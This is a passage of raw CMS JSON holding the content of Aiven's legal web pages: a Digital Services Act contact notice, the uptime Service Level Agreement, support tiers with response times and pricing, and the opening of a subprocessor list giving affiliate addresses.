"},{"_key":"9521127c7c761","_type":"span","marks":["cdc54e377748"],"text":"legal@aiven.io"},{"_key":"9521127c7c762","_type":"span","marks":[],"text":" as the sole point of contact for direct communications with the customers, users, and European Commission, Member States’ Authorities, and the European Board for Digital Services regarding the implementation of the DSA. English is the preferred language for correspondence with this contact point."}],"markDefs":[{"_key":"cdc54e377748","_type":"link","href":"mailto:legal@aiven.io?subject=Digital%20Services%20Act"}],"style":"normal"},{"_key":"0d4f6619b63d","_type":"block","children":[{"_key":"10e448fff7950","_type":"span","marks":[],"text":"When reaching out to "},{"_key":"10e448fff7951","_type":"span","marks":["be7f5538bdf1"],"text":"legal@aiven.io"},{"_key":"10e448fff7952","_type":"span","marks":[],"text":" please ensure to provide your full name and specify the company or the EU-based authority you represent. Additionally, kindly include an email address associated with the relevant company or EU-based authority for our response."}],"markDefs":[{"_key":"be7f5538bdf1","_type":"link","href":"mailto:legal@aiven.io?subject=Digital%20Services%20Act"}],"style":"normal"},{"_key":"ea63ec034919","_type":"block","children":[{"_key":"393632d1c8190","_type":"span","marks":[],"text":"This contact point is specifically allocated for interactions with the aforementioned customers, users, and authorities. No other queries will be processed."}],"markDefs":[],"style":"normal"}],"infoBannerPosition":"bottom","publishedAt":"2024-02-20T08:21:00.000Z","seo":{"_type":"metaData","metaDescription":"This contact point is specifically allocated for interactions with the aforementioned customers, users, and authorities.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0f63554b2e1a66f874317bedbd5f8ada949a79ab-1200x630-jpg","_type":"reference"}},"metaTitle":"Digital Services Act | Point of Contact Aiven"},"slug":{"_type":"slug","current":"/dsa-point-of-contact"},"title":"Digital Services Act \\nPoint of Contact"} {"__i18n_lang":"en","_createdAt":"2022-06-06T01:58:14Z","_id":"ef2b25b2-d677-46f7-9d13-288f493a0629","_rev":"Arp4NzaYseKQ5hw9dhDMEs","_type":"term","_updatedAt":"2023-11-24T06:27:13Z","content":[{"_key":"1d9a97a8e03f","_type":"block","children":[{"_key":"43967c4b6df50","_type":"span","marks":[],"text":"Aiven is committed to providing fault-resilient database and messaging services with automatic recovery and self-healing capabilities. Aiven’s automated management software and skilled personnel are monitoring and managing all Cloud Services and will react to system failures, updates, critical security patches, and other anomalies to minimize their impact to the Cloud Services’ availability or performance."}],"markDefs":[],"style":"normal"},{"_key":"a3c778e67693","_type":"block","children":[{"_key":"c9e35e440114","_type":"span","marks":[],"text":"Aiven will provide the Cloud Services with a Monthly Uptime Percentage of at least 99.99% during a calendar month (\""},{"_key":"43967c4b6df51","_type":"span","marks":["strong"],"text":"Service Level Objective"},{"_key":"43967c4b6df52","_type":"span","marks":[],"text":"\" or \""},{"_key":"43967c4b6df53","_type":"span","marks":["strong"],"text":"SLO"},{"_key":"43967c4b6df54","_type":"span","marks":[],"text":"\"). In the event Aiven does not meet the SLO, the Customer will be eligible to receive Service Credits as described below. This Aiven Service Level Agreement (\""},{"_key":"43967c4b6df55","_type":"span","marks":["strong"],"text":"SLA"},{"_key":"43967c4b6df56","_type":"span","marks":[],"text":"\") states the Customer’s sole and exclusive remedy for any failure by Aiven to meet the SLO."}],"markDefs":[],"style":"normal"},{"_key":"ff22ebb78d75","_type":"block","children":[{"_key":"02139a2304510","_type":"span","marks":[],"text":"Definitions"}],"markDefs":[],"style":"h2"},{"_key":"44a97ef6ad1e","_type":"block","children":[{"_key":"2b6d1c0164a20","_type":"span","marks":[],"text":"\""},{"_key":"2b6d1c0164a21","_type":"span","marks":["strong"],"text":"Critical Bug"},{"_key":"2b6d1c0164a22","_type":"span","marks":[],"text":"\" means a software bug that could potentially cause severe negative impact on the service, such as customer service data corruption or unavailability of the primary functions of the service."}],"markDefs":[],"style":"normal"},{"_key":"0e5e7bc42117","_type":"block","children":[{"_key":"c228835cafe9","_type":"span","marks":[],"text":"\""},{"_key":"2b6d1c0164a23","_type":"span","marks":["strong"],"text":"Security Update"},{"_key":"2b6d1c0164a24","_type":"span","marks":[],"text":"\" means a fix to a known security vulnerability that could be used to compromise the service level provided, work around the service access controls or in other way negatively affect the service."}],"markDefs":[],"style":"normal"},{"_key":"1bacee83321e","_type":"block","children":[{"_key":"7aadeccb8223","_type":"span","marks":[],"text":"\""},{"_key":"2b6d1c0164a25","_type":"span","marks":["strong"],"text":"Downtime"},{"_key":"2b6d1c0164a26","_type":"span","marks":[],"text":"\" means a period of time when the Cloud Services have no external connectivity. "}],"markDefs":[],"style":"normal"},{"_key":"b1a1aff54548","_type":"block","children":[{"_key":"a8c473e945cf","_type":"span","marks":[],"text":"\""},{"_key":"2b6d1c0164a27","_type":"span","marks":["strong"],"text":"Downtime Period"},{"_key":"2b6d1c0164a28","_type":"span","marks":[],"text":"\" means a period of one or more consecutive minutes of Downtime. Partial minutes or intermittent Downtime for a period of less than one minute will not be counted as any Downtime Periods."}],"markDefs":[],"style":"normal"},{"_key":"aadca3df2667","_type":"block","children":[{"_key":"00e4615ffb4b","_type":"span","marks":[],"text":"\""},{"_key":"2b6d1c0164a29","_type":"span","marks":["strong"],"text":"Monthly Uptime Percentage"},{"_key":"2b6d1c0164a210","_type":"span","marks":[],"text":"\" means the total number of minutes in a calendar month, minus the aggregate number of minutes of Downtime of all Downtime Periods taking place during the month, divided by the total number of minutes in the month."}],"markDefs":[],"style":"normal"},{"_key":"74b57174d954","_type":"block","children":[{"_key":"1e91515c78aa","_type":"span","marks":[],"text":"\""},{"_key":"2b6d1c0164a211","_type":"span","marks":["strong"],"text":"Periodic Maintenance Update"},{"_key":"2b6d1c0164a212","_type":"span","marks":[],"text":"\" means the maintenance updates applied to the Cloud Service during a maintenance window. Aiven shall inform the Customer of any Periodic Maintenance Updates at least seven (7) days in advance and will use its reasonable efforts to minimize the impact on the Cloud Services. Periodic Maintenance Updates do not typically cause any noticeable impact on the Cloud Services but may sometimes cause a short period of lower service performance or Downtime which shall not exceed 1 hour."}],"markDefs":[],"style":"normal"},{"_key":"2305e8fce66a","_type":"block","children":[{"_key":"cdea9a0ab8310","_type":"span","marks":[],"text":"Service Credits"}],"markDefs":[],"style":"h2"},{"_key":"61b1c40f1141","_type":"block","children":[{"_key":"ccd44b800b840","_type":"span","marks":[],"text":"If the Downtime is caused by a failure in Aiven's software or operations, the Cloud Services of Startup, Business and Premium levels are provided with the Service Credits covering thirty (30) times the amount of the Downtime Period that exceeds the amount of the Downtime Period allowed by the SLO. The amount of the Service Credits provided to the Customer for Downtime Periods having taken place during a calendar month may not exceed in aggregate the value of the fees charged from the Customer for the same Cloud Services during the three (3) preceding calendar months."}],"markDefs":[],"style":"normal"},{"_key":"393861d18762","_type":"block","children":[{"_key":"fddfa93a47f3","_type":"span","marks":[],"text":"All Downtime Periods and applicable free Service Credits are calculated by Aiven. If a dispute arises with respect to the amount of the Service Credits to be provided to the Customer, Aiven will make a determination in good faith based on its system logs, monitoring reports, configuration records, and other available information, which Aiven will make available for auditing by the Customer at the Customer’s request. "}],"markDefs":[],"style":"normal"},{"_key":"9915664e05e3","_type":"block","children":[{"_key":"d740a9ca7153","_type":"span","marks":[],"text":"The Service Credits will be provided in the form of a credit applied to future use of the Cloud Services and will be applied to the use of the Cloud Services taking place within ninety (90) days of the provision of the Service Credit, after which period any unused Service Credits shall expire without any further compensation. The Service Credits may not be transferred or exchanged for cash or other forms of payment."}],"markDefs":[],"style":"normal"},{"_key":"0d4099071a39","_type":"block","children":[{"_key":"b703992bd40e0","_type":"span","marks":[],"text":"Exemptions"}],"markDefs":[],"style":"h2"},{"_key":"dc665e5a96db","_type":"block","children":[{"_key":"f960e80055cc0","_type":"span","marks":[],"text":"The Downtime caused by the following events shall not be taken into account when calculating the Monthly Uptime Percentage:"}],"markDefs":[],"style":"normal"},{"_key":"fe37548f85a8","_type":"block","children":[{"_key":"1e4b39f67ea40","_type":"span","marks":[],"text":"Caused by factors outside of Aiven’s reasonable control, including any force majeure event and hostile actions by third parties such as denial-of-service attacks;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bfba3efc43eb","_type":"block","children":[{"_key":"c25b1cc0a0670","_type":"span","marks":[],"text":"Downtime caused by the use of Beta Services and/or Beta Features;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"58d8766f8ec7","_type":"block","children":[{"_key":"0fcef7d0d1f80","_type":"span","marks":[],"text":"Periodic Maintenance Updates, which shall not occur more often than once (1) per calendar month;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8e3301f2d84","_type":"block","children":[{"_key":"928aa699f5d90","_type":"span","marks":[],"text":"Critical Bug fixes and Security Updates;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e8cebcaeac1e","_type":"block","children":[{"_key":"e4777c08b3130","_type":"span","marks":[],"text":"Customer-generated service system load (network requests, client queries, storage usage) that exceed the resource-based capabilities (network traffic, cpu usage, memory usage, disk usage) of the given service plan level; "}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7694d60ca0ae","_type":"block","children":[{"_key":"0d9614d02f00","_type":"span","marks":[],"text":"Failures or termination of the virtual machines or related services by subcontractors or Subprocessors used by Aiven to implement the Cloud Services; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"beaede22ae50","_type":"block","children":[{"_key":"05e7ec692fec","_type":"span","marks":[],"text":"Customer modification or termination of critical resources (including operating credentials, the VPC, virtual machines, object storage, networking) utilized by Provider to provide the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"publishedAt":"2022-06-05T01:56:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven proudly commits to providing database services with at least 99.99% availability. Read our SLA to understand our promise to our clients.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e9eaeb5a333f1ac399169074ee2d03aee836e79a-476x250-jpg","_type":"reference"}},"metaTitle":"Service Level Agreement | Aiven"},"slug":{"_type":"slug","current":"/sla"},"subtitle":"Our Service Commitment","title":"Aiven Service Level Agreement"} {"__i18n_lang":"en","_createdAt":"2022-06-06T03:04:37Z","_id":"17d882dc-fcff-4bab-b539-c811e713bfa7","_rev":"YWHkZRhDz94HWGkESn2RU7","_type":"term","_updatedAt":"2024-09-20T09:31:12Z","content":[{"_key":"75de354f9104","_type":"block","children":[{"_key":"21e86156a5c50","_type":"span","marks":[],"text":"General"}],"markDefs":[],"style":"h2"},{"_key":"e5d9538071c0","_type":"block","children":[{"_key":"b68841a419b90","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. Aiven's personnel will commence work on any issues in system operations requiring manual intervention without delay."}],"markDefs":[],"style":"normal"},{"_key":"7ca400268c57","_type":"block","children":[{"_key":"744774bffe040","_type":"span","marks":[],"text":"Aiven provides Basic level support without separate charge for regular subscriptions (which is included in all paid service plans) through the "},{"_key":"744774bffe041","_type":"span","marks":["26cdff81670c"],"text":"Aiven Support Center"},{"_key":"744774bffe042","_type":"span","marks":[],"text":" within the Aiven Console. Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[{"_key":"26cdff81670c","_type":"link","href":"https://aiven.io/docs/platform/howto/support"}],"style":"normal"},{"_key":"fb93b481a903","_type":"block","children":[{"_key":"a71e794fee88","_type":"span","marks":[],"text":"This Support Services Description applies only to customers utilizing online terms and conditions."}],"markDefs":[],"style":"normal"},{"_key":"4349e03d0d2a","_type":"block","children":[{"_key":"4f4d990fccda0","_type":"span","marks":[],"text":"Support tiers"}],"markDefs":[],"style":"h2"},{"_key":"02fab9577873","_type":"block","children":[{"_key":"c026759ad0600","_type":"span","marks":[],"text":"Aiven also offers three additional support tiers on top of the free Basic tier described above: "},{"_key":"6971d7bf37d6","_type":"span","marks":["strong"],"text":"Essential, Advanced, and Premium"},{"_key":"0c134f98cfcd","_type":"span","marks":[],"text":". Different tiers consist of a mix of phone support, response times and technical account management depending on the level of commitment. The support tiers and their features have been described in the table below. "}],"markDefs":[],"style":"normal"},{"_key":"55cc8a8aa87b","_type":"block","children":[{"_key":"3b653c64106d","_type":"span","marks":[],"text":"Customers using Provider’s Services through Provider’s Free Plan will not receive support under any support tiers, but are encouraged to seek guidance in Provider’s "},{"_key":"291a1dc7c1cc","_type":"span","marks":["09ee72bb0942"],"text":"community forum"},{"_key":"667bd633c782","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"09ee72bb0942","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"},{"_key":"86f9d78f6e68","_type":"block","children":[{"_key":"c715598e05ca0","_type":"span","marks":[],"text":"For more details on the specifics of what the support covers, visit the "},{"_key":"2ae81dfda539","_type":"span","marks":["dc4c4bb6a58a"],"text":"responsibility page"},{"_key":"7575f759b80c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dc4c4bb6a58a","_type":"internalLink","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"}}],"style":"normal"},{"_key":"d6bfe053773f","_type":"block","children":[{"_key":"a8ac7b89cda40","_type":"span","marks":[],"text":"Support tier"}],"markDefs":[],"style":"h3"},{"_key":"d7e2e888f835","_type":"block","children":[{"_key":"eecd592f8b430","_type":"span","marks":[],"text":"Every Aiven user has access to create support tickets with a reasonable effort response time. All Aiven services, regardless of the support plan, receive the service uptime "},{"_key":"58b5ffeebd501","_type":"span","marks":["817a94362d11"],"text":"SLA"},{"_key":"58b5ffeebd502","_type":"span","marks":[],"text":" of 99.99%."}],"markDefs":[{"_key":"817a94362d11","_type":"link","href":"https://aiven.io/sla"}],"style":"normal"},{"_key":"bcd19405e7dc","_type":"block","children":[{"_key":"ab404852ec490","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b662f0b87ac6","_type":"table","rows":[{"_key":"791d74ba-89a0-450e-ab4a-d58479c1ecf9","_type":"tableRow","cells":["","Essential","Advanced","Premium"]},{"_key":"2fbe2fff-5f47-428b-8c54-1bd5568b14bc","_type":"tableRow","cells":["Recommendation","Minimum recommendation for Production workloads on Aiven","Production and business critical workloads on Aiven","Business and mission Critical workloads on Aiven"]},{"_key":"7e421566-6253-4fef-9ee2-68f02a72dfd3","_type":"tableRow","cells":["Enhanced technical support","24/5","24/7","24/7"]},{"_key":"bfa7e8ec-1b3d-48fd-b03b-18e0eba8dcee","_type":"tableRow","cells":["Technical phone support escalation","-","-","Yes"]},{"_key":"630617c6-bb4e-4efe-aadb-efaa0e73665e","_type":"tableRow","cells":["Account team","-","Account manager","Designated account manager "]},{"_key":"e2afd210-f88a-4e27-817f-c8fddd3178a2","_type":"tableRow","cells":["Shared Slack channel","-","-","Direct to account team"]},{"_key":"4caed6ac-96be-4094-8fff-fe1775a6fe86","_type":"tableRow","cells":["Technical Account Manager (TAM)","-","-","Designated TAM"]},{"_key":"63f7ed4f-75d3-4810-bc87-9c168ceaa642","_type":"tableRow","cells":["Aiven service capacity and cost optimization","-","-","Semi-annual"]},{"_key":"9186f017-1027-4707-b93a-d55ce7e69658","_type":"tableRow","cells":["Aiven proactive health check \u003csup\u003e1\u003c/sup\u003e","-","L1","L1, L2, L3"]},{"_key":"5c1a539e-cc8b-4856-919a-e9a33fe014b0","_type":"tableRow","cells":["Aiven service migration review and planning","-","Included","Included"]},{"_key":"540f44d7-813b-44e7-8b79-f79b1a8c0f4e","_type":"tableRow","cells":["Aiven service disaster recovery review and planning","-","Best practices","Best practices"]},{"_key":"8cefb334-3229-4836-85b8-f55e4e05a940","_type":"tableRow","cells":["Business review and strategic alignment","-","Semi-annual","Quarterly"]},{"_key":"3289ee33-33e5-4e69-bc5f-a7d61955cef1","_type":"tableRow","cells":["Training \u0026 enablement sessions \u003csup\u003e2\u003c/sup\u003e","-","-","Twice per year"]},{"_key":"d281386e-6e7c-423f-9493-181490f0f9ab","_type":"tableRow","cells":["Dedicated office hours","-","-","Bi-weekly"]},{"_key":"a94e36c1-1252-4a2b-b5d3-95696c9008bb","_type":"tableRow","cells":["Customized Incident RCA","-","-","Yes"]},{"_key":"9f37b5b9-2ea4-4243-8a26-c9d5d53f23de","_type":"tableRow","cells":["Minimum term length \u003csup\u003e3\u003c/sup\u003e","1 month","6 months","12 months"]}]},{"_key":"a16d25c61bad","_type":"block","children":[{"_key":"35e84bb04c8b0","_type":"span","marks":["em"],"text":"1: L1 - Static Analysis of Services, L2 - Signal Detection in Logs \u0026 Metrics, L3 - Architectural Review"}],"markDefs":[],"style":"normal"},{"_key":"b22498af0a6d","_type":"block","children":[{"_key":"61865559632c","_type":"span","marks":["em"],"text":"2: Additional assistance beyond the original limits can be purchased as Value Add Services which will be delivered by our Expert Services team."}],"markDefs":[],"style":"normal"},{"_key":"2f94367ef5a9","_type":"block","children":[{"_key":"bb66d9c14351","_type":"span","marks":["em"],"text":"3: Plans are for self-service customer subject to a minimum term with non-cancellable fees"}],"markDefs":[],"style":"normal"},{"_key":"c06227982415","_type":"block","children":[{"_key":"a35130ae6b33","_type":"span","marks":[],"text":"Case severity descriptions"}],"markDefs":[],"style":"h3"},{"_key":"82f41b27fd97","_type":"table","rows":[{"_key":"969f04c4-31d3-4d2e-a10c-9d6b862a5801","_type":"tableRow","cells":[" Case severity","Description and examples"," Support channel"]},{"_key":"49bf99d2-fd41-4624-bc31-6a29cdb607e4","_type":"tableRow","cells":["**Low P4** \\n General guidance - No service impact","You have a general question about our service capabilities and usage or you want to request a feature.","Support ticket submitted through the Aiven Support Center."]},{"_key":"1432de42-6bb4-417a-bb64-9ca46aed85e7","_type":"tableRow","cells":["**Medium P3** \\n Service impacted","A workaround is available, however elevated attention from Aiven is required for further investigation. You have a time-sensitive service question. ","Support ticket submitted through the Aiven Support Center."]},{"_key":"f33a1a77-d1b4-48eb-8b41-061e6c7d3a93","_type":"tableRow","cells":["**High P2** \\n Production severely impacted","Noncritical features of your application are behaving abnormally. A workaround is not available and will mitigate impact with elevated attention from Aiven. ","Support ticket submitted through the Aiven Support Center."]},{"_key":"e8c63230-06ac-4f86-b73f-b7a8fba392da","_type":"tableRow","cells":["**Critical P1** \\n Business/mission-critical system down","Your business will be seriously impacted and there is no way to get around the issue. Your application's critical features are not available.","Support ticket submitted through the Aiven Support Center. Customers subscribed to Premium tier may contact Provider via their dedicated support phone number to escalate a case."]}]},{"_key":"8c683fd10db3","_type":"block","children":[{"_key":"8945c33e508b","_type":"span","marks":["em"],"text":"To support the Provider in the timely resolution of High and Critical cases, Customer’s timely cooperation is essential. The Provider and Customer endeavor to cooperate with the other by, among other actions, making available information, approvals and/or acceptances so each Party may properly accomplish its obligations and responsibilities. The unreasonable delay or withholding of information, approvals and/or acceptances by Customer may inhibit Provider’s ability to pursue timely resolution of cases. Customer’s lack of response or timely cooperation may result in Provider downgrading the case severity or closing the case."}],"markDefs":[],"style":"normal"},{"_key":"d1425951c892","_type":"block","children":[{"_key":"dfa4e6c2330a","_type":"span","marks":[],"text":"Response times by case severity"}],"markDefs":[],"style":"h3"},{"_key":"8bacd711400e","_type":"block","children":[{"_key":"1a1815ab6b5a0","_type":"span","marks":[],"text":"We make every reasonable effort to respond to your initial request within the corresponding timeframes. "}],"markDefs":[],"style":"normal"},{"_key":"687f112a48d8","_type":"table","rows":[{"_key":"b5ce9691-d3dc-4f42-a8f6-4261fada7c78","_type":"tableRow","cells":["Response times by case severity","Basic","Essential","Advanced","Premium"]},{"_key":"1d3ce6a5-0d81-4d3b-ba5e-f7ad97b15292","_type":"tableRow","cells":["**Low** \\n General guidance - No service impact","Next business day","Next business day","24 hours","24 hours"]},{"_key":"82803c11-9362-4739-bca0-46ff5674bd36","_type":"tableRow","cells":["**Medium** \\n Service impacted","","12 hours","8 hours","4 hours"]},{"_key":"4c2310ad-b452-4b4c-83aa-2cc9ef757d33","_type":"tableRow","cells":["**High** \\n Production severely impacted","","","2 hours","1 hour"]},{"_key":"6b22cbff-d3ec-41eb-b899-be12b0701de5","_type":"tableRow","cells":["**Critical** \\n Business/mission-critical system down","","","30 minutes","15 minutes"]}]},{"_key":"02a15ae6744a","_type":"block","children":[{"_key":"c41b09422006","_type":"span","marks":["em"],"text":"The response times reflect the period of time within which Provider’s support personnel will begin working on a case. As the complexity and root cause of cases vary, Provider extends no guarantees regarding timeframes within which cases will be resolved."},{"_key":"bb3fd99c96350","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ffca24239284","_type":"block","children":[{"_key":"45a0d675ecd5","_type":"span","marks":[],"text":"Support pricing per month"}],"markDefs":[],"style":"h2"},{"_key":"79b18d63e826","_type":"block","children":[{"_key":"ff546d56c08a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"285331116a2e","_type":"table","rows":[{"_key":"1f654f22-33e1-45bf-8840-47684521a6df","_type":"tableRow","cells":["Essential","Advanced","Premium"]},{"_key":"2ab52a3c-7398-4756-9b19-1d453d5040d1","_type":"tableRow","cells":["Greater of $500 or\u003cbr /\u003e\u003cbr /\u003e10% of all monthly charges","Greater of $2,500 or\u003cbr /\u003e\u003cbr /\u003e10% of all monthly charges","Greater of $10,000 or\u003cbr /\u003e\u003cbr /\u003e \u003cul\u003e \u003cli\u003e10% for the first $0–$150K or\u003c/li\u003e \u003cli\u003e7% from $150K–$500K or\u003c/li\u003e \u003cli\u003e5% from $500K–$1M or\u003c/li\u003e \u003cli\u003e3% over $1M of all monthly charges\u003c/li\u003e \u003c/ul\u003e"]}]},{"_key":"356be8bf33fa","_type":"block","children":[{"_key":"e4b6502ce8040","_type":"span","marks":["em"],"text":"Example 1: With Essential Support, the combined monthly Cloud Service spend is $4,500. 10% x $4,500 = $450. It is less than $500, so the support price will be $500 per month."}],"markDefs":[],"style":"normal"},{"_key":"ea01ccffdbe4","_type":"block","children":[{"_key":"efb1a00cb22b0","_type":"span","marks":["em"],"text":"Example 2: With Advanced Support, the combined monthly Cloud Service spend is $30,000. 10% x $30,000 = $3,000. It is more than $2,500, so the support price will be $3,000 per month."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-05-01T11:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Our cloud services are monitored 24/7/365 by Aiven personnel. Any anomalies trigger automatic alerts, letting our staff intervene right away when needed.\n","metaImage":{"_type":"mainImage","alt":"support services meta preview","asset":{"_ref":"image-25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250-jpg","_type":"reference"}},"metaTitle":"Support Services | Aiven"},"slug":{"_type":"slug","current":"/support-services"},"title":"Aiven Support Services"} {"__i18n_lang":"en","_createdAt":"2022-06-06T03:12:41Z","_id":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_rev":"Do3156plRwIXmiihO2DPPh","_type":"term","_updatedAt":"2023-12-19T12:01:29Z","content":[{"_key":"ac5b6af4b273","_type":"block","children":[{"_key":"d5b620f967ae0","_type":"span","marks":[],"text":"Aiven Oy (herein ‘’Aiven’’) uses certain Subprocessors (including Aiven Affiliates) and subcontractors to assist in providing Aiven Services (Cloud Services and Support Services) to its customers. This page explains the difference between a Subprocessor and subcontractor of Aiven and specifies the services and tasks provided by the Subprocessors and subcontractors."}],"markDefs":[],"style":"normal"},{"_key":"8b0b4929a51f","_type":"block","children":[{"_key":"32f2f67ca0dc0","_type":"span","marks":[],"text":"What is a Subprocessor?"}],"markDefs":[],"style":"h2"},{"_key":"22975139e9d2","_type":"block","children":[{"_key":"1b0e547408630","_type":"span","marks":["strong"],"text":"Subprocessors"},{"_key":"1b0e547408631","_type":"span","marks":[],"text":" are Aiven Affiliates and third parties "},{"_key":"1b0e547408632","_type":"span","marks":["em","strong"],"text":"necessary to participate"},{"_key":"1b0e547408633","_type":"span","marks":[],"text":" in processing the personal and other data Customer has input to the Cloud Services (‘’Customer Data’’) in order for Aiven to provide the Services to the Customer as agreed. "}],"markDefs":[],"style":"normal"},{"_key":"8cebb9f9c8a8","_type":"block","children":[{"_key":"1b0e547408634","_type":"span","marks":["strong"],"text":"Subprocessors "},{"_key":"1b0e547408635","_type":"span","marks":[],"text":"are divided into three categories:"}],"markDefs":[],"style":"normal"},{"_key":"11925f228629","_type":"block","children":[{"_key":"de3c4696af680","_type":"span","marks":[],"text":"Aiven Affiliates"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"92bbd2c1016c","_type":"block","children":[{"_key":"5648de1ece0d0","_type":"span","marks":[],"text":"Aiven back-end service providers"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7133511bda7e","_type":"block","children":[{"_key":"97d44e62d3ee0","_type":"span","marks":[],"text":"Aiven infrastructure service providers."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9f03d5037a9f","_type":"block","children":[{"_key":"88e327bd80c30","_type":"span","marks":[],"text":"What is a subcontractor?"}],"markDefs":[],"style":"h2"},{"_key":"846e936f6cb8","_type":"block","children":[{"_key":"d478387c7c880","_type":"span","marks":["strong"],"text":"Subcontractors"},{"_key":"d478387c7c881","_type":"span","marks":[],"text":" are Aiven service providers who provide Aiven the services necessary to provide the Services to Customer, but who "},{"_key":"d478387c7c882","_type":"span","marks":["em","strong"],"text":"do not participate"},{"_key":"d478387c7c883","_type":"span","marks":[],"text":" in processing the data Customer has input into the Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"8d715b29f880","_type":"block","children":[{"_key":"39c28cfbf58f0","_type":"span","marks":[],"text":"Aiven Subprocessors"}],"markDefs":[],"style":"h2"},{"_key":"fd078ab91ee2","_type":"block","children":[{"_key":"7ed633af7c150","_type":"span","marks":[],"text":"Aiven Affiliates"}],"markDefs":[],"style":"h3"},{"_key":"2145d3b2864f","_type":"block","children":[{"_key":"c6d6dc80e12e0","_type":"span","marks":[],"text":"Aiven provides its Services from multiple different locations through Aiven Affiliates. The employees of Aiven Affiliates may participate in the processing of Customer Data when Support Services are provided if and to the extent Aiven Support Personnel configure the Cloud Services as part of Support Services. Note, that even though the Aiven Affiliate employees participate in processing of the Customer Data, no personal data transfer takes place as Aiven employees only process the metadata (e.g. information whether the Cloud Service is active or not) of the Cloud Services in which the Customer Data is stored, and the Customer Data never leaves the location chosen by Customer. "}],"markDefs":[],"style":"normal"},{"_key":"a1decd8c1a65","_type":"block","children":[{"_key":"4e770690f9b1","_type":"span","marks":[],"text":"As the definition of processing is wide under the GDPR, Aiven classifies the Affiliates’ employees as Subprocessors of Aiven even though Aiven Affiliates do not access or see the Customer Data when processing service metadata. Aiven Affiliate employees may access and have visibility to the Customer Data only if separately requested by and agreed with the Customer. "}],"markDefs":[],"style":"normal"},{"_key":"8e85a4bd30ba","_type":"table","rows":[{"_key":"d09cc2cb-c237-4ce1-b5ce-66fa320abbcf","_type":"tableRow","cells":["Entity Name","Registered Address","Country"]},{"_key":"1b7ee221-c774-4c22-b5c3-1ee1f9f68d5c","_type":"tableRow","cells":["Aiven France SAS","c/o CM. Consulting S.A.R.L, 43 Rue de Liège, 75008 Paris.","France"]},{"_key":"40455ff1-ac03-44c3-ba40-78dd631f8be7","_type":"tableRow","cells":["Aiven Deutschland GmbH","Alexanderufer 3-7, 10117 Berlin.","Germany"]},{"_key":"25dc85a1-8702-461a-8c87-9a605823476a","_type":"tableRow","cells":["Aiven Italy SRL.","Via Borgogna 8, 20122 Milano.","Italy"]},{"_key":"01ef0186-696f-497a-9ebd-85af150df62e","_type":"tableRow","cells":["Aiven UK Ltd.","c/o Goodwille Limited, 24 Old Queen Street, London, SW1H 9HP."," United Kingdom"]},{"_key":"2459fc49-382c-412e-a712-7ce7a5b7ed92","_type":"tableRow","cells":["Aiven Inc.","1111B S Governors Ave #6177, Dover, DE 19904."," United States"]},{"_key":"b096e898-0004-4459-9853-062d900e466d","_type":"tableRow","cells":["Aiven Canada Ltd.","56 Temperance Street, 3rd Floor, Toronto, ON M5H 3V.","Canada"]},{"_key":"f78a2bb1-549f-404a-80fa-186ba80647f5","_type":"tableRow","cells":["Aiven Australia Pty Ltd.","Level 3, 73 York Street, Sydney, NSW 2000.","Australia"]},{"_key":"4b70d77d-c731-403d-8774-37766ada522d","_type":"tableRow","cells":["Aiven (Singapore) Pte Ltd."," c/o Connexions Corporate Solutions Pte Ltd, 24 Sin Ming Lane, #03-99 Midview City, Singapore (573970).","Singapore"]},{"_key":"389d1832-af17-4690-a64f-ff013fa1a796","_type":"tableRow","cells":["Aiven New Zealand Limited.","c/o Polson Higgs Ltd, 139 Moray Place, Dunedin Central, Dunedin 9016.","New Zealand"]},{"_key":"df610a64-42a8-434d-bf8c-c8bb34ab8094","_type":"tableRow","cells":["Aiven Japan GK","1-6, Motoazabu 3-chome, Minato-ku, Tokyo.","Japan"]},{"_key":"d6b7c1e8-242d-4043-97ff-cd521adb2999","_type":"tableRow","cells":["Aiven Sweden AB","Artillerigatan 6, 114 51, Stockholm.","Sweden"]},{"_key":"f248a267-4d66-43d9-bebe-5acb27790911","_type":"tableRow","cells":["Aiven Netherlands B.V.","Vijzelstraat 68, 1017HL Amsterdam.","Netherlands"]},{"_key":"7d33a17f-6c84-49d6-87d6-d15760c9e4fe","_type":"tableRow","cells":["Aiven Spain S.L.","Avenida del Doctor Arce 14, 28002 Madrid.","Spain"]}]},{"_key":"86edbac8f9b4","_type":"block","children":[{"_key":"2428c40167f60","_type":"span","marks":[],"text":"Aiven back-end Subprocessors"}],"markDefs":[],"style":"h3"},{"_key":"244b820d897a","_type":"block","children":[{"_key":"2bc1979cb6630","_type":"span","marks":[],"text":"Aiven back-end Subprocessors provide Aiven with the infrastructure that enables Aiven to run back-end services for managing and monitoring the Cloud Services. The provided back-end services (i.e. management plane) are used by Aiven to manage and monitor, and to ensure the integrity and availability of the Cloud Services and the Customer Data included therein. The back-end services or the back-end service 